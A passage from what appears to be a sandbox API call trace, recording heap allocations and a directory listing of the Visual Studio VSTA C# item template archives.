Flags=0x0, BaseAddress=0x13110c8) returned 1 [0089.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eebd8 [0089.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13110c8 [0089.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13111d0 [0089.106] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9000 [0089.108] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.108] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x8b52, dwReserved0=0x0, dwReserved1=0x0, cFileName="AboutBox.zip", cAlternateFileName="")) returned 1 [0089.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13112d8 [0089.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eebd8) returned 1 [0089.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1248 [0089.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13113e0 [0089.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.110] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConfig.zip", cAlternateFileName="")) returned 1 [0089.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1268 [0089.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13114e8 [0089.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.112] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConfigInternal.zip", cAlternateFileName="")) returned 1 [0089.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1288 [0089.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13115f0 [0089.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.114] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x492, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyInfo.zip", cAlternateFileName="")) returned 1 [0089.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.115] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c12a8 [0089.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13116f8 [0089.115] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.115] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyInfoInternal.zip", cAlternateFileName="")) returned 1 [0089.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.116] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.116] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c12c8 [0089.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1311800 [0089.117] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.117] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Class.zip", cAlternateFileName="")) returned 1 [0089.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.117] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c12e8 [0089.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1311908 [0089.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.119] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f83e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeFile.zip", cAlternateFileName="")) returned 1 [0089.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1308 [0089.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1311a10 [0089.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.120] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10fa9fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataSet.zip", cAlternateFileName="")) returned 1 [0089.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1328 [0089.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1311b18 [0089.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.122] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10ff6270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmptyDatabase.zip", cAlternateFileName="")) returned 1 [0089.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1348 [0089.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1311c20 [0089.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.124] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x585, dwReserved0=0x0, dwReserved1=0x0, cFileName="Form.zip", cAlternateFileName="")) returned 1 [0089.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1368 [0089.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1311d28 [0089.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.125] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interface.zip", cAlternateFileName="")) returned 1 [0089.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1388 [0089.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1311e30 [0089.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.127] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x3719, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDIParent.zip", cAlternateFileName="")) returned 1 [0089.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.128] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c13a8 [0089.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1311f38 [0089.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.129] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x83f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource.zip", cAlternateFileName="")) returned 1 [0089.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c13c8 [0089.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1312040 [0089.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8d40) returned 0x132a698 [0089.131] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x85a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResourceInternal.zip", cAlternateFileName="")) returned 1 [0089.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c13e8 [0089.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1312148 [0089.132] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.132] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings.zip", cAlternateFileName="")) returned 1 [0089.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1408 [0089.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1312250 [0089.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.134] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x3d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SettingsInternal.zip", cAlternateFileName="")) returned 1 [0089.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1428 [0089.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1312358 [0089.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.136] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextFile.zip", cAlternateFileName="")) returned 1 [0089.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1448 [0089.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1312460 [0089.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.137] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserControl.zip", cAlternateFileName="")) returned 1 [0089.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1468 [0089.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1312568 [0089.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.139] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x558, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizer.zip", cAlternateFileName="")) returned 1 [0089.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.140] 